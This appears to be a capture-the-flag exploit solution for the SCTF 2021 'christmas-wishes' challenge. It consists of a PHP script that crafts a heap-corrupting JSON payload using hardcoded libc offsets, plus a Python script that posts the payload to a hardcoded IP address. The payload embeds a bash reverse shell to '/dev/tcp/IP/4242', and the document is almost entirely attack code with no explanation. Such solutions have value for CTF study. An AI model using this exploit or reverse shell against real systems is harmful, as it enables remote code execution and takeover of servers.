SCTF 2021 - christmas-wishes

rem.php

<?php
function conv($l){
	$g = unpack("C*", pack("Q",$l));
	$r = "";
	for($i=0;$i<8;$i++){
		if($g[$i] != 0){
			$r.= chr($g[$i]);
		}
	}
	return $r;
}
$libcbase=140674704277504;
// echo $libcbase;
putenv("LD_LIBRARY_PATH=");
$a = "{";
for ($i = 1; $i <= 0x100; $i++) {
	$a.= '"A'.strval($i).'":"A",';
}
$a.= '"LMAO1":322376503,';
$a.= '"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",';
$a.= '"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB":"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",';
$a.= '"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB":"lolz",';
$a.= '"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA":"LOLz",';
$a.= '"ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ":"ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ\\'."\x00".'AAAAAAAAAAAAAAAA'.conv($libcbase+0x1c1e70-0x3e).'",';
$a.= '"GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG'.conv($libcbase+0x48e50).'":"bash -c \'/bin/bash -l > /dev/tcp/IP/4242 0<&1 2>&1\'",';
$a.= '"bash -c \'/bin/bash -l > /dev/tcp/IP/4242 0<&1 2>&1\'":"bash -c \'/bin/bash -l > /dev/tcp/IP/4242 0<&1 2>&1\'",';
$a.= '"bash -c \'/bin/bash -l > /dev/tcp/IP/4242 0<&1 2>&1\'":"bash -c \'/bin/bash -l > /dev/tcp/IP/4242 0<&1 2>&1\'",';
$a.= "'FFFF\\\x00FFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFffFFFFff':'FFFF',";
$a.= '}';
echo base64_encode($a)."\n";
// jsonparser($a);

// echo "\n";
// 0x0000555556606850
// 0x7ffff74c1e50
// 0x7ffff763ae70

rem.py

#!/usr/bin/env python3
import base64
import requests

# PUT PHP output here
a = base64.b64decode(b'')
# a = b'{"/etc/passwd":""}'
r = requests.post('http://124.70.201.145:7777/',data={"wishes":a})
print(r.text)